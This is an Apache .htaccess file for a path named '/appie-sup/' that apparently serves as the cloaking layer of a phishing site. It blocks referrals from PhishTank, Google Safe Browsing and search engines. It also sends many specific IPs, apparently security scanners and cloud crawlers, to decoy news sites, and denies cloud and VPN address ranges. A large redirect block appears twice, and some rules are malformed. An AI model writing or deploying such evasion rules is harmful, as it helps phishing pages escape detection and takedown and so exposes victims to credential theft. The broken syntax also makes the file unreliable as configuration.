<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /appie-sup/

# Exclude the api folder from the rewrite rules
RewriteCond %{REQUEST_URI} ^/appie-sup/api/ [NC]
RewriteRule ^ - [L]

# Handle requests for the specific index.php
RewriteRule /appie-sup/index\.php$ - [L]

# Rewrite conditions for files, directories, and symbolic links
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteCond %{REQUEST_FILENAME} !-l

# Rewrite all other requests to index.php
RewriteRule . /appie-sup/index.php [L]


SetEnvIfNoCase User-Agent "^DigitalOcean, LLC" bad_user
SetEnvIfNoCase User-Agent "^Amazon Technologies Inc." bad_user
SetEnvIfNoCase User-Agent "^Amazon.com, Inc." bad_user
SetEnvIfNoCase User-Agent "^Google LLC" bad_user
SetEnvIfNoCase User-Agent "^FranTech Solutions" bad_user
SetEnvIfNoCase User-Agent "^Tier.Net Technologies LLC" bad_user
SetEnvIfNoCase User-Agent "^OVH SAS" bad_user

RewriteCond %{HTTP_REFERER} google\.com [NC,OR]
RewriteCond %{HTTP_REFERER} amazon\.com [NC,OR]
RewriteCond %{HTTP_REFERER} digitalocean\.com [NC,OR]
RewriteCond %{HTTP_REFERER} facebook\.com [NC,OR]
RewriteCond %{HTTP_REFERER} yahoo\.com [NC,OR]
RewriteCond %{HTTP_REFERER} bing\.com [NC,OR]
RewriteCond %{HTTP_REFERER} msn\.com [NC,OR]
RewriteCond %{HTTP_REFERER} aol\.com [NC,OR]
RewriteCond %{HTTP_REFERER} hotbot\.com [NC,OR]
RewriteCond %{HTTP_REFERER} phishtank\.com [NC,OR]
RewriteCond %{HTTP_REFERER} infoseek\.co\.jp [NC,OR]
RewriteCond %{HTTP_REFERER} ^http(s)?://(www\.)?http://safebrowsing-cache.google.com/.*$ [NC]
RewriteRule ^(.\*)$ – [F,L]

RewriteCond %{REMOTE_ADDR} ^20.3.148.15$
RewriteRule .\* https://appleinsider.com [R,L]

RewriteCond %{REMOTE_ADDR} ^205.210.31.37$
RewriteRule .\* https://edition.cnn.com [R,L]

RewriteCond %{REMOTE_ADDR} ^35.195.93.98$
RewriteRule .\* https://defimedia.info [R,L]

RewriteCond %{REMOTE_ADDR} ^110.50.81.198$
RewriteRule .\* https://spokesman.com [R,L]

RewriteCond %{REMOTE_ADDR} ^192.241.206.69$
RewriteRule .\* https://usatoday.com [R,L]

RewriteCond %{REMOTE_ADDR} ^180.253.20.230$
RewriteRule .\* https://arynews.tv [R,L]

RewriteCond %{REMOTE_ADDR} ^198.235.24.136$
RewriteRule .\* https://edition.cnn.com [R,L]

RewriteCond %{REMOTE_ADDR} ^51.15.45.2$
RewriteRule .\* https://realtor.com [R,L]

RewriteCond %{REMOTE_ADDR} ^20.18.57.148$
RewriteRule .\* https://fender.com [R,L]

RewriteCond %{REMOTE_ADDR} ^95.142.120.143$
RewriteRule .\* https://newsnow.co.uk [R,L]

RewriteCond %{REMOTE_ADDR} ^51.158.117.189$
RewriteRule .\* https://forbes.com [R,L]

RewriteCond %{REMOTE_ADDR} ^159.65.180.137$
RewriteRule .\* https://marketwatch.com [R,L]

RewriteCond %{REMOTE_ADDR} ^66.240.192.82$
RewriteRule .\* https://forbes.com [R,L]

RewriteCond %{REMOTE_ADDR} ^209.141.51.222$
RewriteRule .\* https://thenewstribune.com [R,L]

RewriteCond %{REMOTE_ADDR} ^205.185.116.25$
RewriteRule .\* https://csdn.net [R,L]

RewriteCond %{REMOTE_ADDR} ^209.141.35.128$
RewriteRule .\* https://spreadshirt.com [R,L]

RewriteCond %{REMOTE_ADDR} ^209.141.41.193$
RewriteRule .\* https://pcworld.com [R,L]

RewriteCond %{REMOTE_ADDR} ^205.185.122.184$
RewriteRule .\* https://pcworld.com [R,L]

RewriteCond %{REMOTE_ADDR} ^64.62.197.118$
RewriteRule .\* https://usatoday.com [R,L]

RewriteCond %{REMOTE_ADDR} ^64.62.197.117$
RewriteRule .\* https://appleinsider.com [R,L]

RewriteCond %{REMOTE_ADDR} ^205.210.31.14$
RewriteRule .\* https://tumblr.com [R,L]

RewriteCond %{REMOTE_ADDR} ^107.150.106.122$
RewriteRule .\* https://huffpost.com [R,L]

RewriteCond %{REMOTE_ADDR} ^20.121.70.95$
RewriteRule .\* https://teacherspayteachers.com [R,L]

RewriteCond %{REMOTE_ADDR} ^152.89.196.211$
RewriteRule .\* https://nbcnews.com [R,L]

RewriteCond %{REMOTE_ADDR} ^221.2.155.200$
RewriteRule .\* https://laughingsquid.com [R,L]

RewriteCond %{REMOTE_ADDR} ^66.240.236.116$
RewriteRule .\* https://movavi.com [R,L]

RewriteCond %{REMOTE_ADDR} ^193.118.53.210$
RewriteRule .\* https://defimedia.info [R,L]

RewriteCond %{REMOTE_ADDR} ^183.136.225.32$
RewriteRule .\* https://supersonicads.com [R,L]

RewriteCond %{REMOTE_ADDR} ^51.222.253.17$
RewriteRule .\* https://arynews.tv [R,L]

RewriteCond %{REMOTE_ADDR} ^167.94.138.46$
RewriteRule .\* https://imgflip.com [R,L]

RewriteCond %{REMOTE_ADDR} ^130.211.54.158$
RewriteRule .\* https://newsnow.co.uk [R,L]

RewriteCond %{REMOTE_ADDR} ^192.241.204.42$
RewriteRule .\* https://huffpost.com [R,L]

RewriteCond %{REMOTE_ADDR} ^159.223.102.148$
RewriteRule .\* https://qatarairways.com [R,L]

RewriteCond %{REMOTE_ADDR} ^198.235.24.149$
RewriteRule .\* https://usatoday.com [R,L]

RewriteCond %{REMOTE_ADDR} ^154.89.5.82$
RewriteRule .\* https://defimedia.info [R,L]

RewriteCond %{REMOTE_ADDR} ^64.62.197.237$
RewriteRule .\* https://thenewstribune.com [R,L]

RewriteCond %{REMOTE_ADDR} ^64.62.197.238$
RewriteRule .\* https://huffpost.com [R,L]

RewriteCond %{REMOTE_ADDR} ^128.14.133.58$
RewriteRule .\* https://deloitte.com [R,L]

RewriteCond %{REMOTE_ADDR} ^89.248.165.204$
RewriteRule .\* https://deloitte.com [R,L]

RewriteCond %{REMOTE_ADDR} ^20.3.148.15$
RewriteRule .\* https://appleinsider.com [R,L]

RewriteCond %{REMOTE_ADDR} ^205.210.31.37$
RewriteRule .\* https://edition.cnn.com [R,L]

RewriteCond %{REMOTE_ADDR} ^35.195.93.98$
RewriteRule .\* https://defimedia.info [R,L]

RewriteCond %{REMOTE_ADDR} ^110.50.81.198$
RewriteRule .\* https://spokesman.com [R,L]

RewriteCond %{REMOTE_ADDR} ^192.241.206.69$
RewriteRule .\* https://usatoday.com [R,L]

RewriteCond %{REMOTE_ADDR} ^180.253.20.230$
RewriteRule .\* https://arynews.tv [R,L]

RewriteCond %{REMOTE_ADDR} ^198.235.24.136$
RewriteRule .\* https://edition.cnn.com [R,L]

RewriteCond %{REMOTE_ADDR} ^51.15.45.2$
RewriteRule .\* https://realtor.com [R,L]

RewriteCond %{REMOTE_ADDR} ^20.18.57.148$
RewriteRule .\* https://fender.com [R,L]

RewriteCond %{REMOTE_ADDR} ^95.142.120.143$
RewriteRule .\* https://newsnow.co.uk [R,L]

RewriteCond %{REMOTE_ADDR} ^51.158.117.189$
RewriteRule .\* https://forbes.com [R,L]

RewriteCond %{REMOTE_ADDR} ^159.65.180.137$
RewriteRule .\* https://marketwatch.com [R,L]

RewriteCond %{REMOTE_ADDR} ^66.240.192.82$
RewriteRule .\* https://forbes.com [R,L]

RewriteCond %{REMOTE_ADDR} ^209.141.51.222$
RewriteRule .\* https://thenewstribune.com [R,L]

RewriteCond %{REMOTE_ADDR} ^205.185.116.25$
RewriteRule .\* https://csdn.net [R,L]

RewriteCond %{REMOTE_ADDR} ^209.141.35.128$
RewriteRule .\* https://spreadshirt.com [R,L]

RewriteCond %{REMOTE_ADDR} ^209.141.41.193$
RewriteRule .\* https://pcworld.com [R,L]

RewriteCond %{REMOTE_ADDR} ^205.185.122.184$
RewriteRule .\* https://pcworld.com [R,L]

RewriteCond %{REMOTE_ADDR} ^64.62.197.118$
RewriteRule .\* https://usatoday.com [R,L]

RewriteCond %{REMOTE_ADDR} ^64.62.197.117$
RewriteRule .\* https://appleinsider.com [R,L]

RewriteCond %{REMOTE_ADDR} ^205.210.31.14$
RewriteRule .\* https://tumblr.com [R,L]

RewriteCond %{REMOTE_ADDR} ^107.150.106.122$
RewriteRule .\* https://huffpost.com [R,L]

RewriteCond %{REMOTE_ADDR} ^20.121.70.95$
RewriteRule .\* https://teacherspayteachers.com [R,L]

RewriteCond %{REMOTE_ADDR} ^152.89.196.211$
RewriteRule .\* https://nbcnews.com [R,L]

RewriteCond %{REMOTE_ADDR} ^221.2.155.200$
RewriteRule .\* https://laughingsquid.com [R,L]

RewriteCond %{REMOTE_ADDR} ^66.240.236.116$
RewriteRule .\* https://movavi.com [R,L]

RewriteCond %{REMOTE_ADDR} ^193.118.53.210$
RewriteRule .\* https://defimedia.info [R,L]

RewriteCond %{REMOTE_ADDR} ^183.136.225.32$
RewriteRule .\* https://supersonicads.com [R,L]

RewriteCond %{REMOTE_ADDR} ^51.222.253.17$
RewriteRule .\* https://arynews.tv [R,L]

RewriteCond %{REMOTE_ADDR} ^167.94.138.46$
RewriteRule .\* https://imgflip.com [R,L]

RewriteCond %{REMOTE_ADDR} ^130.211.54.158$
RewriteRule .\* https://newsnow.co.uk [R,L]

RewriteCond %{REMOTE_ADDR} ^192.241.204.42$
RewriteRule .\* https://huffpost.com [R,L]

RewriteCond %{REMOTE_ADDR} ^159.223.102.148$
RewriteRule .\* https://qatarairways.com [R,L]

RewriteCond %{REMOTE_ADDR} ^198.235.24.149$
RewriteRule .\* https://usatoday.com [R,L]

RewriteCond %{REMOTE_ADDR} ^154.89.5.82$
RewriteRule .\* https://defimedia.info [R,L]

RewriteCond %{REMOTE_ADDR} ^64.62.197.237$
RewriteRule .\* https://thenewstribune.com [R,L]

RewriteCond %{REMOTE_ADDR} ^64.62.197.238$
RewriteRule .\* https://huffpost.com [R,L]

RewriteCond %{REMOTE_ADDR} ^128.14.133.58$
RewriteRule .\* https://deloitte.com [R,L]

RewriteCond %{REMOTE_ADDR} ^89.248.165.204$
RewriteRule .\* https://usatoday.com [R,L]

Order allow,deny
Deny from 135.181.183.170
Deny from 161.35.121.7
Deny from 35.174.88.253
Deny from 34.136.255.103
Deny from 93.119.227.91
Deny from 139.59.181.113
Deny from 69.4.87.74
Deny from 107.178.194.169
Deny from 112.0.0.0
Deny from 18.118.5.232
Deny from 107.178.194.168
Deny from 34.232.137.132
Deny from 34.72.194.162
Deny from 52.73.56.26
Deny from 103.136.57.166
Deny from 118.0.0.0
Deny from 114.125.244.80
Deny from 34.172.245.118
Deny from 102.129.234.217
Deny from 79.116.130.100
Deny from 149.28.33.195
Deny from 34.70.181.248
Deny from 74.235.70.86
Deny from 157.230.195.44
Deny from 3.75.248.163
Deny from 206.189.247.132
Deny from 13.40.96.212
Deny from 34.72.87.217
Deny from 20.229.51.198
Deny from 20.39.191.132
Deny from 40.82.128.171
Deny from 204.101.161.19
Deny from 51.222.50.185
Deny from 86.172.5.17
Deny from 113.0.0.0
Deny from 35.224.226.146
Deny from 122.164.12.170
Deny from 82.64.198.149
Deny from 98.0.0.0
Deny from 20.114.22.115
Deny from 172.174.64.103
Deny from 70.94.107.47
Deny from 110.0.0.0
Deny from 73.162.10.3
Deny from 91.90.143.7
Deny from 89.175.184.250
Deny from 18.192.50.168
Deny from 69.158.246.54
Deny from 18.169.167.88
Deny from 185.147.212.18
Deny from 164.90.241.135
Deny from 18.192.50.168
Deny from 146.70.108.175
Deny from 146.190.13.187
Deny from 216.131.114.7
Deny from 206.189.247.132
Deny from 207.204.229.6
Deny from 35.176.203.141
Deny from 185.108.105.166
Deny from 51.75.141.254
Deny from 216.151.183.3
Deny from 159.203.53.95
Deny from 192.200.158.222
Deny from 3.9.164.130
Deny from 143.244.41.133
Deny from 3.77.54.151
Deny from 92.16.217.167
Deny from 172.255.125.187
Deny from 82.132.215.86
Deny from 18.170.217.70
Deny from 3.71.88.13
Deny from 99.79.127.56
Deny from 15.160.142.203
Deny from 207.204.229.7
Deny from 13.39.161.0
Deny from 15.161.188.45
Deny from 13.40.96.212
Deny from 161.35.246.138
Deny from 207.204.248.14
Deny from 37.120.203.71
Deny from 146.190.197.169
Deny from 216.131.88.5
Deny from 46.246.122.110
Deny from 185.108.106.203
Deny from 68.235.50.249
Deny from 51.178.81.195
Deny from 146.70.108.174
Deny from 217.138.194.124
Deny from 74.80.181.140
Deny from 216.131.88.4
Deny from 82.102.30.120
Deny from 164.90.241.135
Deny from 185.17.107.85
Deny from 35.176.16.10
Deny from 157.230.195.44
Deny from 202.43.6.14
Deny from 146.190.13.187
Deny from 185.253.96.59
Deny from 84.247.50.238
Deny from 15.161.188.45
Deny from 13.39.161.0
Deny from 207.204.229.7
Deny from 69.158.246.54
Deny from 15.160.142.203
Deny from 99.79.127.56
Deny from env=bad_user
Allow from all
</IfModule>

<FilesMatch "\.(ini|htaccess|inc|info|install|make|module|profile|test|po|sh|._sql|theme|tpl(\.php)?|xtmpl)(~|\.sw[op]|\.bak|\.orig|\.save)?$|^(\.(?!well-known)._|Entries._|Repository|Root|Tag|Template|composer\.(json|lock)|package\.(json|lock)|web\.config)$|^#._#$|\.php(~|\.sw[op]|\.bak|\.orig\.save)$">
Order allow,deny
Deny from all
</FilesMatch>
